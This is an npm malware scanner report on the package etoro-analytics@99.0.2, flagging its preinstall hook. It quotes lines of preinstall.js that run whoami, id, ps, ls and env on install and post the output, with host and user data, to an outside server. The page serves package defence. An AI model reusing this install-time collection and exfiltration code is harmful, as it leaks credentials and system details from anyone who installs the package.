etoro-analytics@99.0.2: Malicious npm security report (Block)

Loading npm security reports…

etoro-analytics@99.0.2: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

5 flagged

package.jsonView file

•scripts.preinstall = node preinstall.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node preinstall.js || true" }

High

Suspicious Lifecycle Evidence

The preinstall hook automatically runs preinstall.js during installation.

package.jsonView on unpkg · L6

•scripts.preinstall = node preinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

preinstall.jsView file

19const req = http.request({ hostname: OOB, port: 80, path: `/${CANARY}/v4/${tag}/${h}`, method: 'POST', headers: { 'Content-Type': 'text/plain', 'Content-Length': d.length } }); req.write(d); req.end(); } catch(e) {} } http.get(`http://${OOB}/${CANARY}/v4/${h}/${u}/${p}/${c}`);

High

Ai Review Evidence

The script sends host, user, platform, and working-directory data to an external IP address.

preinstall.jsView on unpkg · L19

40post('whoami', run('whoami') + run('id')); post('ipconfig', run('hostname -f 2>/dev/null || hostname') + run('ip addr 2>/dev/null || ifconfig 2>/dev/null')); post('dir-root', run('ls -la /')); post('dir-user', run('ls -la ~')); post('tasklist', run('ps aux')); post('env', run('env'));

High

Ai Review Evidence

It runs system, process, directory, network, and environment-enumeration commands and posts their output.

preinstall.jsView on unpkg · L40

Source & flagged code

5 flagged · loading source

package.jsonView file

•scripts.preinstall = node preinstall.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node preinstall.js || true" }

High

Suspicious Lifecycle Evidence

The preinstall hook automatically runs preinstall.js during installation.

package.jsonView on unpkg · L6

•scripts.preinstall = node preinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

preinstall.jsView file

High

Ai Review Evidence

The script sends host, user, platform, and working-directory data to an external IP address.

preinstall.jsView on unpkg · L19

High

Ai Review Evidence

It runs system, process, directory, network, and environment-enumeration commands and posts their output.

preinstall.jsView on unpkg · L40

etoro-analytics@99.0.2

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code